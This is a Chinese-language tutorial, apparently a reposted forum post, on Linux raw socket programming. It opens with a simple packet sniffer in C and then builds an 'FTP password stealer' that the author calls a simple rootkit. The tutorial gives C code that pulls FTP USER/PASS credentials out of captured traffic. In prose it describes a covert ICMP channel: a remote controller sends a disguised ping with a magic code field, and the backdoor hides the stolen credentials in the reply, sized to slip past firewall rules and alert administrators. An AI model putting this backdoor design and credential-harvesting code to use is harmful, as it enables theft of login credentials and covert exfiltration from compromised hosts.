linux raw socket 例子,raw socket编程例子
raw socket編程例子內(nèi)容安排:
1.原始套接字介紹
1.1 原始套接字工作原理與規(guī)則
1.2 簡單應(yīng)用
2 FTP密碼竊取器實(shí)現(xiàn)(簡單的rootkit)
2.1 設(shè)計(jì)思路
2.2 實(shí)現(xiàn)
2.3 不足與改進(jìn)之處
開始,嗯,喝口茶水先...........1.原始套接字(raw socket)1.1 原始套接字工作原理與規(guī)則
原始套接字是一個(gè)特殊的套接字類型,它的創(chuàng)建方式跟TCP/UDP創(chuàng)建方法幾乎是
一摸一樣,例如,通過
CODE:
int sockfd;
sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);這
兩句程序你就可以創(chuàng)建一個(gè)原始套接字.然而這種類型套接字的功能卻與TCP或者UDP類型套接字的功能有很大的不同:TCP/UDP類型的套接字只能夠訪
問傳輸層以及傳輸層以上的數(shù)據(jù),因?yàn)楫?dāng)IP層把數(shù)據(jù)傳遞給傳輸層時(shí),下層的數(shù)據(jù)包頭已經(jīng)被丟掉了.而原始套接字卻可以訪問傳輸層以下的數(shù)據(jù),,所以使用
raw套接字你可以實(shí)現(xiàn)上至應(yīng)用層的數(shù)據(jù)操作,也可以實(shí)現(xiàn)下至鏈路層的數(shù)據(jù)操作.
比如:通過
CODE:
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))方式創(chuàng)建的raw socket就能直接讀取鏈路層的數(shù)據(jù).
1)使用原始套接字時(shí)應(yīng)該注意的問題(參考<>以及網(wǎng)上的優(yōu)秀文檔)
(1):
對(duì)于UDP/TCP產(chǎn)生的IP數(shù)據(jù)包,內(nèi)核不將它傳遞給任何原始套接字,而只是將這些數(shù)據(jù)交給對(duì)應(yīng)的UDP/TCP數(shù)據(jù)處理句柄(所以,如果你想要通過原
始套接字來訪問TCP/UDP或者其它類型的數(shù)據(jù),調(diào)用socket函數(shù)創(chuàng)建原始套接字第三個(gè)參數(shù)應(yīng)該指定為htons(ETH_P_IP),也就是通過
直接訪問數(shù)據(jù)鏈路層來實(shí)現(xiàn).(我們后面的密碼竊取器就是基于這種類型的).
(2):對(duì)于ICMP和EGP等使用IP數(shù)據(jù)包承載數(shù)據(jù)但又在傳輸層之下的協(xié)議類型的IP數(shù)據(jù)包,內(nèi)核不管是否已經(jīng)有注冊(cè)了的句柄來處理這些數(shù)據(jù),都會(huì)將這些IP數(shù)據(jù)包復(fù)制一份傳遞給協(xié)議類型匹配的原始套接字.
(3):對(duì)于不能識(shí)別協(xié)議類型的數(shù)據(jù)包,內(nèi)核進(jìn)行必要的校驗(yàn),然后會(huì)查看是否有類型匹配的原始套接字負(fù)責(zé)處理這些數(shù)據(jù),如果有的話,就會(huì)將這些IP數(shù)據(jù)包復(fù)制一份傳遞給匹配的原始套接字,否則,內(nèi)核將會(huì)丟棄這個(gè)IP數(shù)據(jù)包,并返回一個(gè)ICMP主機(jī)不可達(dá)的消息給源主機(jī).
(4): 如果原始套接字bind綁定了一個(gè)地址,核心只將目的地址為本機(jī)IP地址的數(shù)包傳遞給原始套接字,如果某個(gè)原始套接字沒有bind地址,核心就會(huì)把收到的所有IP數(shù)據(jù)包發(fā)給這個(gè)原始套接字.
(5): 如果原始套接字調(diào)用了connect函數(shù),則核心只將源地址為connect連接的IP地址的IP數(shù)據(jù)包傳遞給這個(gè)原始套接字.
(6):如果原始套接字沒有調(diào)用bind和connect函數(shù),則核心會(huì)將所有協(xié)議匹配的IP數(shù)據(jù)包傳遞給這個(gè)原始套接字.
2).編程選項(xiàng)
原始套接字是直接使用IP協(xié)議的非面向連接的套接字,在這個(gè)套接字上可以調(diào)用bind和connect函數(shù)進(jìn)行地址綁定.說明如下:
(1)bind
函數(shù):調(diào)用bind函數(shù)后,發(fā)送數(shù)據(jù)包的源IP地址將是bind函數(shù)指定的地址。如是不調(diào)用bind,則內(nèi)核將以發(fā)送接口的主IP地址填充IP頭.
如果使用setsockopt設(shè)置了IP_HDRINCL(header
including)選項(xiàng),就必須手工填充每個(gè)要發(fā)送的數(shù)據(jù)包的源IP地址,否則,內(nèi)核將自動(dòng)創(chuàng)建IP首部.
(2)connetc函數(shù):
調(diào)用connect函數(shù)后,就可以使用write和send函數(shù)來發(fā)送數(shù)據(jù)包,而且內(nèi)核將會(huì)用這個(gè)綁定的地址填充IP數(shù)據(jù)包的目的IP地址,否則的話,則
應(yīng)使用sendto或sendmsg函數(shù)來發(fā)送數(shù)據(jù)包,并且要在函數(shù)參數(shù)中指定對(duì)方的IP地址。
綜合以上種種功能和特點(diǎn),我們可以使用原始套接字來實(shí)現(xiàn)很多功能,比如最基本的數(shù)據(jù)包分析,主機(jī)嗅探等.其實(shí)也可以使用原始套接字作一個(gè)自定義的傳輸層協(xié)議.1.2一個(gè)簡單的應(yīng)用
下面的代碼創(chuàng)建一個(gè)直接讀取鏈路層數(shù)據(jù)包的原始套接字,并從中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及對(duì)應(yīng)的傳輸層協(xié)議,如果是TCP/UDP協(xié)議的話,打印其目的和源端口.為了方便閱讀,程序中避免了使用任何與協(xié)議有關(guān)的數(shù)據(jù)結(jié)構(gòu),如
struct ether_header ,struct iphdr??等,當(dāng)然, 要完全理解代碼,你需要關(guān)于指針以及位運(yùn)算的知識(shí)
CODE:
/***************SimpelSniffer.c*************/
//auther:duanjigang@2006s
#include #include #include #include #include #include #define BUFFER_MAX 2048
int main(int argc, char *argv[])
{
int sock, n_read, proto;
char buffer[BUFFER_MAX];
char??*ethhead, *iphead, *tcphead,
*udphead, *icmphead, *p;
if((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
{
fprintf(stdout, "create socket error\n");
exit(0);
}
while(1)
{
n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
/*
14? ?6(dest)+6(source)+2(type or length)
+
20? ?ip header
+
8? ?icmp,tcp or udp header
= 42
*/
if(n_read < 42)
{
fprintf(stdout, "Incomplete header, packet corrupt\n");
continue;
}
ethhead = buffer;
p = ethhead;
int n = 0XFF;
printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"
"%.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n",
p[6]&n, p[7]&n, p[8]&n, p[9]&n, p[10]&n, p[11]&n,
p[0]&n, p[1]&n, p[2]&n,p[3]&n, p[4]&n, p[5]&n);
iphead = ethhead + 14;
p = iphead + 12;
printf("IP: %d.%d.%d.%d => %d.%d.%d.%d\n",
p[0]&0XFF, p[1]&0XFF, p[2]&0XFF, p[3]&0XFF,
p[4]&0XFF, p[5]&0XFF, p[6]&0XFF, p[7]&0XFF);
proto = (iphead + 9)[0];
p = iphead + 20;
printf("Protocol: ");
switch(proto)
{
case IPPROTO_ICMP: printf("ICMP\n");break;
case IPPROTO_IGMP: printf("IGMP\n");break;
case IPPROTO_IPIP: printf("IPIP\n");break;
case IPPROTO_TCP :
case IPPROTO_UDP :
printf("%s,", proto == IPPROTO_TCP ? "TCP": "UDP");
printf("source port: %u,",(p[0]<<8)&0XFF00 |??p[1]&0XFF);
printf("dest port: %u\n", (p[2]<<8)&0XFF00 | p[3]&0XFF);
break;
case IPPROTO_RAW : printf("RAW\n");break;
default:printf("Unkown, please query in include/linux/in.h\n");
}
}
}2 FTP密碼嗅探器實(shí)現(xiàn)
注意:本部分的實(shí)現(xiàn),采用了系統(tǒng)定義的一些數(shù)據(jù)結(jié)構(gòu),如鏈路層頭結(jié)構(gòu)體,網(wǎng)絡(luò)層頭結(jié)構(gòu)體,以及TCP.UDP,ICMP頭等結(jié)構(gòu)體,正好對(duì)上一個(gè)例
子是一個(gè)補(bǔ)充,同時(shí),在程序中操作起來也更方便一些,當(dāng)然,你必須知道每個(gè)數(shù)據(jù)結(jié)構(gòu)的意思,與數(shù)據(jù)包頭中的各項(xiàng)是如何對(duì)應(yīng)的,還有,在下面的程序中,我們
使用單鏈表存儲(chǔ)收集到的用戶名與密碼,所以,你應(yīng)該必須熟悉單鏈表的操作,如插入節(jié)點(diǎn)和刪除節(jié)點(diǎn)等,最后,你最好能夠很熟練的使用FTP命令,這樣才能很
好的理解本文的代碼和要點(diǎn).(對(duì)了,你還得明白校驗(yàn)和是做什么用的,以及它的計(jì)算方法)為了方便理解,我在文中添加了一個(gè)簡單的數(shù)據(jù)包分層圖,如下
=============================================
|? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?|
| 鏈路層頭? ? | IP報(bào)文頭? ?? ?| 傳輸層報(bào)文頭? ?? ?? ?? ? | 應(yīng)用層數(shù)據(jù)
|? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ? |
-==============================================2.1設(shè)計(jì)思路
在網(wǎng)上看到有好多sniffer的設(shè)計(jì)思路,有些確實(shí)講的很不錯(cuò),但是卻很少發(fā)現(xiàn)有完整的作出來一個(gè)實(shí)例的(也許是偶孤陋寡聞沒找見),正好想起
來<>中有這么一個(gè)實(shí)例,那篇主要是講netfilter的,在模塊里面實(shí)現(xiàn)數(shù)據(jù)的過濾,竊取用戶名和密碼,于是我便把那個(gè)故事搬過
來,用原始套接字去實(shí)現(xiàn),而且遠(yuǎn)程竊取密碼的方法同樣使用的是令人洋洋得意的思路--構(gòu)造一個(gè)偽ping包來ping已經(jīng)被植入后門程序的主機(jī),后門程序
在收到特殊的ping包之后,會(huì)講密碼嵌入到特殊的ping返回消息中,從而完成密碼的運(yùn)輸.不同之處在于返回密碼時(shí)采用的方法,本文中創(chuàng)建了一個(gè)
ICMP類型的raw socket作為ICMP echo request 消息的echo
reply消息返回,雖然較之前文的方法有些遜色,但是卻相當(dāng)提供了一個(gè)完整的ping程序,你可以稍加修改就做出自己的ping來.而且在對(duì)協(xié)議類型進(jìn)
行判斷的Switch分支中,你可以繼續(xù)添加自己的處理方法,比如SNMP的162UDP端口或者其他協(xié)議的分析.
程序的運(yùn)行過程:
首先我們會(huì)創(chuàng)建一個(gè)接收鏈路層的原始套接字,之所以創(chuàng)建鏈路層的原始套接字,原因有:
1:出于教學(xué)目的,我們盡力去分析數(shù)據(jù)包中盡可能多的信息,所以從鏈路層抓起,逐層提取信息.
2:
FTP是基于TCP協(xié)議的應(yīng)用層協(xié)議,所以我們要能從傳輸層區(qū)分出TCP包和UDP包,但是,前面的規(guī)則已經(jīng)講到了,對(duì)于UDP或者TCP產(chǎn)生的IP層數(shù)
據(jù)包,內(nèi)核將不會(huì)把它傳遞給任何原始套接字,而是交給對(duì)應(yīng)的TCP/UDP處理函數(shù),要能夠讓原始套接字接收UDP和TCP產(chǎn)生的IP數(shù)據(jù)包,或者說接收
傳輸層的UDP和TCP類型的數(shù)據(jù),所創(chuàng)建的原始套接字必須為ETH_P_IP類型的,在程序里面體現(xiàn)出來就是將第三個(gè)參數(shù)指定為找個(gè)值.
在套接字創(chuàng)建成功之后,我們的程序就在系統(tǒng)中注冊(cè)了一塊數(shù)據(jù)結(jié)構(gòu),并且內(nèi)核中對(duì)于所有的原始套接字都有一個(gè)維護(hù)列表的,在收到網(wǎng)絡(luò)上的數(shù)據(jù)時(shí),內(nèi)核會(huì)跟據(jù)條件將收到的數(shù)據(jù)復(fù)制一份交給注冊(cè)了這個(gè)套接字的程序去處理.
所以,如果系統(tǒng)緩存中如果已經(jīng)有了數(shù)據(jù),我們調(diào)用的recvfrom函數(shù)將會(huì)返回,可能讀取失敗,也可能滿載而歸,攜帶了足夠多的數(shù)據(jù)供我們的程序進(jìn)行處理.
為了防止收到的數(shù)據(jù)有差錯(cuò),我們進(jìn)行必要的檢驗(yàn),作為數(shù)據(jù)包來說,鏈路層占了14個(gè)字節(jié)的空間,6個(gè)自己源地址,6個(gè)字節(jié)是目的地址,2個(gè)字節(jié)作為類型
碼,接下來是IP層的頭信息,由于找個(gè)層的頭信息包含的項(xiàng)比較多,所以不進(jìn)行一一的分析,IP層至少戰(zhàn)局20個(gè)字節(jié)的空間,下來就是傳輸層的頭信息了,在
不去分UDP/TCP或者ICMP的情況下,我們可以看到,傳輸層的頭信息至少應(yīng)該包括8個(gè)字節(jié),所以,我們要檢驗(yàn)讀到的數(shù)據(jù)包大小是否超過了最基本的數(shù)
據(jù)包頭的大小,如果沒有的話,說明數(shù)據(jù)包有誤,我們將其丟棄,重新接收.
下來的處理就采用跟上面的例子一樣的模式,先去除鏈路層的14個(gè)字節(jié),接著找出網(wǎng)絡(luò)層的頭,從IP頭中提取協(xié)議類型字段,如果是TCP協(xié)議,則進(jìn)行分析,
從中查找可能的用戶名和密碼對(duì),由于FTP使用明文傳送,而且傳送用戶名時(shí)的格式為USER ,傳送密碼時(shí)的格式為PASS
,所以我們可以從中分析這兩個(gè)關(guān)鍵字符串,然后從中提取用戶姓名和登陸密碼,一旦提取成功就將這一對(duì)信息加入到鏈表中存儲(chǔ)起來,等待
遠(yuǎn)程主機(jī)來索取;如果協(xié)議類型是ICMP的話,我們就要注意了,因?yàn)槲覀兊倪h(yuǎn)程主機(jī)發(fā)送的取密碼的數(shù)據(jù)包就是以ICMP包的格式偽裝起來的,它具有一般的
ICMP包的格式,并且在ICMP包的type字段填入了ICMP_ECHO這個(gè)值,表示ping的回顯請(qǐng)求,所以操作系統(tǒng)會(huì)認(rèn)為是一個(gè)一般的ping消
息,將它交給協(xié)議棧去處理,然而此時(shí)我們的后門程序已經(jīng)在這個(gè)主機(jī)上運(yùn)行了,如果它能夠發(fā)現(xiàn)這個(gè)偽裝的ICMP消息的話,就可以通過構(gòu)造一個(gè)ICMP回顯
應(yīng)答的消息將它采集到的關(guān)于這臺(tái)主機(jī)的信息發(fā)送出去,那樣就實(shí)現(xiàn)了遠(yuǎn)程信息獲取的功能.
注意到ICMP消息中有兩個(gè)字段,一個(gè)是type,一個(gè)是code,我們已經(jīng)知道了,如果type為ICMP_ECHO,則標(biāo)識(shí)這是一個(gè)回顯請(qǐng)求,如果
type為ICMP_ECHOREPLY的話,則說明是一個(gè)回顯應(yīng)答,但是code有什么作用呢?默認(rèn)的ping程序中code字段都是0,但是在實(shí)際中
我發(fā)現(xiàn),如果你將code字段設(shè)置為其他非0值,而只要type字段設(shè)置為ICMP_ECHO的話,也會(huì)被操作系統(tǒng)認(rèn)為是一個(gè)ping回顯請(qǐng)求,它馬上會(huì)
給你發(fā)送一個(gè)應(yīng)答.所以,如果防火墻沒有對(duì)code字段做檢測(cè)的話,我們就可以利用code來做文章:遠(yuǎn)程主機(jī)自己構(gòu)造一個(gè)ICMP_ECHO的包,在
code字段填入事先約定好的特殊值,以便于后門程序能夠認(rèn)出它,并且不會(huì)被操作系統(tǒng)和防火墻當(dāng)作不速之客拒之門外,當(dāng)后門程序從千千萬萬的數(shù)據(jù)包中檢測(cè)
出一個(gè)這樣的特殊包時(shí),它知道遠(yuǎn)程的主人下命令了,要求它返回可能竊取到的用戶名和密碼,后門程序就會(huì)自己構(gòu)造一個(gè)ICMP_ECHOREPLY的數(shù)據(jù)
包,如果已經(jīng)存儲(chǔ)了有效的數(shù)據(jù)的話,它取出一對(duì)數(shù)據(jù)填入這個(gè)應(yīng)答包中(是一定要注意,這個(gè)回顯應(yīng)答的包不能太大,以免被警覺的管理員所采取的防火墻規(guī)則阻
擋住,這樣我們的后門程序就會(huì)功虧于潰),然后再加上一個(gè)特殊的標(biāo)志位,發(fā)送出去.而這個(gè)特殊的標(biāo)志位也同樣是ICMP中的code字段,這樣做是為了遠(yuǎn)
程主機(jī)能夠從千千萬萬的回顯應(yīng)答中找到自己心儀的那一個(gè)應(yīng)答數(shù)據(jù)包,從而得到竊取的信息.如果后門程序沒有采集到密碼對(duì),則會(huì)發(fā)送一個(gè)事先約定好的無效用
戶名和密碼給遠(yuǎn)程主機(jī),告訴它,暫時(shí)還沒有有效的數(shù)據(jù),請(qǐng)不要再索取了.
另外,在程序中我們的原則是,每次回顯應(yīng)答帶走一對(duì)用戶名和密碼,所以,如果某個(gè)用戶正在遠(yuǎn)端使用虛假的ping程序呼喚密碼的話,他可以一直執(zhí)行這個(gè)發(fā)送偽裝Ping包的程序,每次都能獲取到一對(duì)用戶名和密碼,直到出現(xiàn)無效值,說明數(shù)據(jù)已經(jīng)傳送完畢.
這就是整個(gè)程序的大體的運(yùn)行過程.
下面我再就實(shí)際實(shí)現(xiàn)與測(cè)試時(shí)出現(xiàn)的問題進(jìn)行一些說明,這些問題也是在實(shí)現(xiàn)這個(gè)嗅探器的過程中困擾我最久的,好多問題都是想了幾天后類忽然發(fā)現(xiàn)原因的,呵呵,我已經(jīng)飽受這些煎熬,所以如果你注意一下下面討論的問題,在運(yùn)行程序時(shí)就不會(huì)遇到這么多麻煩的.
我們的程序是一個(gè)單線程的監(jiān)聽程序,每到一個(gè)TCP包,就從中查找USER或者PASS字段,如果找到的話,就取出它后面的值,認(rèn)為是用戶名或者密碼,然后存儲(chǔ)起來.但是會(huì)有一下情況發(fā)生.
(1)
如果我們的程序啟動(dòng)時(shí),用戶名已經(jīng)傳送過了,而我們僅僅捕捉到了PASS的值,這個(gè)時(shí)候如果一直去等USER出現(xiàn)的話,就會(huì)出現(xiàn)差錯(cuò),你可以想象一
下,如果我們?nèi)〉搅擞脩鬉的登陸密碼為PASSA,而沒有得到它的用戶名,我們的程序卻在等待USER的出現(xiàn),如果在某個(gè)時(shí)候USER出現(xiàn)了,很顯然,這
是新連接的登陸用戶名,跟上一次存儲(chǔ)的密碼不屬于一次會(huì)話的數(shù)據(jù),即使我們拿到了這個(gè)用戶名和密碼,也只是上一個(gè)用戶登陸的密碼和這一個(gè)用戶登陸的姓名,
這樣拿到了也沒用,除非是特殊情況的出現(xiàn),即同一個(gè)用戶連著登陸多次,那么,瞎貓碰著死耗子,我們得到了正確的數(shù)據(jù),但是我們希望盡可能去獲取一次會(huì)話中
的用戶名和密碼對(duì),所以,嗅探的原則是,如果沒有用戶名,就不存儲(chǔ)密碼.
(2)
考慮再細(xì)致點(diǎn),想想多用戶同時(shí)登陸的情況,假設(shè) thatday已經(jīng)連接上FTP服務(wù)器,并且鍵入了用戶名
thatday發(fā)送給FTP服務(wù)器,這個(gè)時(shí)候我們的程序也應(yīng)該在FTP服務(wù)器上獲取到了用戶名thatday,
忽然thatday收到他GF打來的電話,便忘記了輸入密碼,開始跟他mm聊天,這個(gè)時(shí)候 肥肥
也去登陸,他鍵入用戶名FatFighterM,發(fā)送出去,于是我們的程序發(fā)現(xiàn)又有一個(gè)叫做FatFighterM的用戶名被傳過來了,但是此時(shí)程序的任
務(wù)是等待一個(gè)密碼,如果直接丟棄FatFighterM這個(gè)用戶名不管,并且繼續(xù)等待對(duì)應(yīng)thatday的密碼的話,可能會(huì)出現(xiàn)如下差錯(cuò):thatday
還在聊天,肥肥當(dāng)仁不讓的輸入密碼,并且登陸成功,開始工作,可我們的傻瓜程序卻會(huì)以為這是thatday的密碼,將這視為一對(duì),存儲(chǔ)起來,但是這樣的數(shù)
據(jù)是沒有用的,根本就不匹配!
也許你會(huì)說,那就這樣吧,如果有新來的用戶名,就丟棄先采集到的用戶名,存儲(chǔ)后來的用戶名,這不就行了?這樣也會(huì)有問題,如果肥肥在輸入用戶名后也接到
了老婆的電話,然后他就離開座位聊起天來,當(dāng)然還沒有輸入密碼(他可能認(rèn)為保持半登陸狀態(tài)比輸入密碼登陸成功后離開座位更安全),這個(gè)時(shí)候thatday
聊天結(jié)束,他輸入自己的密碼,發(fā)給服務(wù)器,但是這個(gè)時(shí)候我們的程序存儲(chǔ)的用戶名卻是肥肥的名字,
然后卻又收到了thatday的密碼,所以同樣做了無用功.因此,還需要進(jìn)行更多的控制.
當(dāng)然,FTP服務(wù)器是不會(huì)出這種錯(cuò)誤的,因
為它會(huì)為每個(gè)登陸過程開一個(gè)單獨(dú)的會(huì)話,但是我們的單線程程序卻會(huì)遇到這些問題,試想,如果我們給每個(gè)密碼對(duì)加上源IP地址進(jìn)行匹配,這個(gè)問題是不是就可
以解決了,對(duì),這樣就可以解決問題了.我們可以這樣做,每來一個(gè)用戶名,就記下這個(gè)數(shù)據(jù)包的源IP和源端口,如果下次來的PASS的源IP和端口跟已經(jīng)存
儲(chǔ)的用戶名和密碼一致的話,就認(rèn)為是一對(duì),而且還繼續(xù)以前的規(guī)定,沒有用戶名之前不存儲(chǔ)密碼.因?yàn)椴煌目蛻魴C(jī),源IP地址肯定不同,所以可以根據(jù)IP地
址來區(qū)分不通主機(jī)的連接,而對(duì)于同一臺(tái)機(jī)子上的不通用戶,他們的源IP當(dāng)然是相同的了,我們只有根據(jù)它的源端口進(jìn)行區(qū)分了.
如果以上說得都做到了我們就可以獲取到密碼了.
下來,該討論取密碼是應(yīng)該注意的問題了.
首先說說嗅探器端,既然我們創(chuàng)建了一個(gè)原始套接字并且從找個(gè)套接字讀到了ping請(qǐng)求,好像順理成章的我們就應(yīng)改把密碼對(duì)通過這個(gè)發(fā)回遠(yuǎn)程主機(jī),但是我在嘗試了N次之后
始
終沒有成功,一個(gè)可能的原則是"鏈路層的原始套接字不能直接自己填充鏈路層頭信息并將數(shù)據(jù)發(fā)送出去",不知道這個(gè)說法正確不?期待專家的回復(fù).因?yàn)槲乙婚_
始的想法就是直接將這個(gè)數(shù)據(jù)包的源MAC和目的MAC互換,IP互換,端口互換,并希望能直接利用原來的套接字發(fā)送回去,但是最終還是沒能成功,但是我認(rèn)
為,這是最好的做法了.最后只好委屈求全,再次創(chuàng)建一個(gè)原始套接字,類型為IPPROTO_ICMP,跟自己寫ping程序一樣,寫了一段簡單的ping
echo reply的代碼,用新的套接字將密碼發(fā)回,這個(gè)實(shí)在是一個(gè)巨大的暇疵!
嗅探端已經(jīng)完畢,接著看遠(yuǎn)程的命令端,我一開始就使用<>中的那個(gè)命令端程序,結(jié)果偽裝包是發(fā)送成功了,可是讀取到的數(shù)據(jù)老是錯(cuò)誤,用戶名和密碼總是空的,折騰了2天,這天,細(xì)心的同
事忽然告訴我說你收到的消息好像跟發(fā)送的一摸一樣,這時(shí)才發(fā)現(xiàn)了問題所在,在原來的代碼中,作者只讀取一次就成功了,而在我得程序里,第一次read到的
ICMP消息居然是自己發(fā)送出去的原封不動(dòng),關(guān)于這個(gè)原因我還沒有思考清楚,只覺得可能是由于同一臺(tái)機(jī)子測(cè)試引起的,并沒有做太多的分析,希望專家給出更
科學(xué)的說法!然后就增加條件,如果返回的type是ICMP_ECHO的話就扔掉,結(jié)果發(fā)現(xiàn)這次讀到了ICMP_ECHOREPLY,用戶名和密碼還是錯(cuò)
的,一想,原來是收到了系統(tǒng)返回的ping應(yīng)答消息,最終的原則就是,當(dāng)收到的ICMP消息是ICMP_ECHOREPLY時(shí)并且code字段為嗅探器所
填的特殊值時(shí),才進(jìn)行處理,終于能夠正確的運(yùn)行起來.2.2 實(shí)現(xiàn)(代碼片斷)
由于論壇字符上限的原因,在次只貼出了部分代碼,并且刪除了注視,完整的代碼作為附件上傳上來吧.
CODE:
int main(int argc, char *argv[])
{
int sock, n_read;
struct ether_header * etherh;
struct iphdr * iph;
char buffer[BUFFER_MAX];
/*create a raw socekt to sniffer all messages*/
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
{
exit(errno);
}
while (1)
{
n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
/*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
if (n_read < 42)
{
continue;
}
/*??get ethernet header */
etherh =(struct ether_header *) buffer;
/*??get ip header */
iph = (struct iphdr *) (etherh + 1);
switch(iph->protocol)
{
case IPPROTO_TCP :
CheckTCP(iph);
break;
case IPPROTO_ICMP:
if(MagicICMP(iph))
{
SendData(etherh, n_read);
}
break;
case IPPROTO_UDP :
case IPPROTO_IGMP:
default: break;
}
}
}
int CheckTCP(const struct iphdr * ipheader)
{
if(!ipheader)
{
return 0;
}
int i = 0;
/* get tcp head??*/
struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);
/* get data region of the tcp packet */
char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
if(username && target_port && target_ip)
{
if(ipheader->daddr != target_ip || tcpheader->source != target_port)
{
/*a new loading, we need to reset our sniffer */
if(strncmp(data, "USER ", 5) == 0 )
{
Reset();
}
}
}
if (strncmp(data, "USER ", 5) == 0)
{
data += 5;
i = 0;
if (username)
{
return 0;
}
char * p = data + i;
/*the data always end with LR */
while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
{
i++;
p++;
}
if((username = (char*)malloc(i + 2)) == NULL)
{
return 0;
}
memset(username, 0x00, i + 2);
memcpy(username, data, i);
*(username + i) = '\0';
}
else
if(strncmp(data, "PASS ", 5) == 0)
{
data += 5;
i = 0;
if(username == NULL)
{
return 0;
}
if(password)
{
return 0;
}
char * p = data;
while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
{
i++;
p++;
}
if((password = (char*)malloc(i + 2)) == NULL)
{
return 0;
}
memset(password, 0x00, i + 2);
memcpy(password, data, i);
*(password + i) = '\0';
}
else
if(strncmp(data, "QUIT", 4) == 0)
{
Reset();
}
if(!target_ip && !target_port && username)
{
target_ip = ipheader->saddr;
target_port = tcpheader->source;
}
if(username && password)
{
have_pair++;
}
if(have_pair)
{
struct node node;
node.ip = target_ip;
snprintf(node.Name, 15, "%s", username);
snprintf(node.PassWord, 15, "%s", password);
AddNode(&node);
Reset();
}
return 1;
}2.3 改進(jìn)的思路
由于時(shí)間原因,雖然后來想了一些改進(jìn)的方法,但卻沒有去實(shí)現(xiàn),很是遺憾,
不過還是在此提出,希望感興趣的朋友自己去實(shí)踐,并告訴我結(jié)果
(1):
由于原來的單線程后門程序在多個(gè)用戶同時(shí)登陸FTP時(shí)會(huì)出錯(cuò),我們即使加上煩雜的處理在運(yùn)氣很好的情況下最終也只能得到一對(duì)密碼對(duì),可以這樣改進(jìn),每檢
測(cè)到一個(gè)用戶名,就將這個(gè)數(shù)據(jù)包的源IP,源端口,以及用戶名存儲(chǔ)到一個(gè)列表中,用戶名相同的進(jìn)行覆蓋存儲(chǔ),然后再次檢測(cè)到密碼時(shí),根據(jù)密碼數(shù)據(jù)包的源
IP以及源端口去表中查找匹配,這樣就能獲取并發(fā)訪問FTP時(shí)的密碼了
(2):
如果你在局域網(wǎng)做試驗(yàn),并且你的老板允許你把網(wǎng)卡設(shè)置為混雜模式,那么這個(gè)程序就是一個(gè)真正的嗅探器了,這個(gè)時(shí)候你要存儲(chǔ)的信息就多了,需要加上目的IP和目的端口.最后切記,最好不要將這個(gè)程序用于惡意目的.
總結(jié)
以上是生活随笔為你收集整理的linux raw socket 例子,raw socket编程例子的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux网络唤醒,如何在Ubuntu
- 下一篇: 哈尔滨治疗男性不育最好的医院推荐